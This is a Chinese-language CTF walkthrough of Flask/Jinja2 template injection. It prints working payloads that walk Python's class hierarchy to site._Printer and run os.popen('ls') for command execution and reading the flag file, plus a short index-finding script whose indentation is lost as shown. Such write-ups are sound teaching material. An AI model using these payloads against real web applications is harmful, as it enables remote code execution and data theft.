Web_python_template_injection : python 模板漏洞
python的flask模板注入的题思路比较固定，Jinja2模板引擎中，{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量，还可以执行一些简单的表达式。
1.先判断是否存在注入
{{config}}
2.获取基本类：
{{''.__class__.__mro__}}
.__class__ 是一个 Python 表达式，用于获取空字符串（''）的类。在 Python 中，所有的数据都是对象，每个对象都有一个类。通过 .__class__ 属性，我们可以查看对象的类。
__mro__ 是 Python 中的一个特殊属性，用于获取一个类的方法解析顺序（Method Resolution Order）。它返回一个包含该类及其所有基类的元组，按照方法查找的顺序排列。
3.查看基类的引用列表，url后加 {{''.__class__.__mro__[2].__subclasses__()}}:
_subclasses__() 是 Python 中的一个特殊方法，用于获取一个类的所有子类。
在 Python 中，每个类都有一个 __subclasses__() 方法，它返回一个包含该类所有直接子类的列表。如果一个类没有子类，则返回一个空列表。
4.发现<class 'site.Printer'>类。
5.用python脚本查询类索引index
text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"
new_text=text.split(",")
index=0
for i in new_text:
index+=1
print(index -1)
最后得出index为71
6.执行指令
执行：
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
7.读取fl4g这个文件。
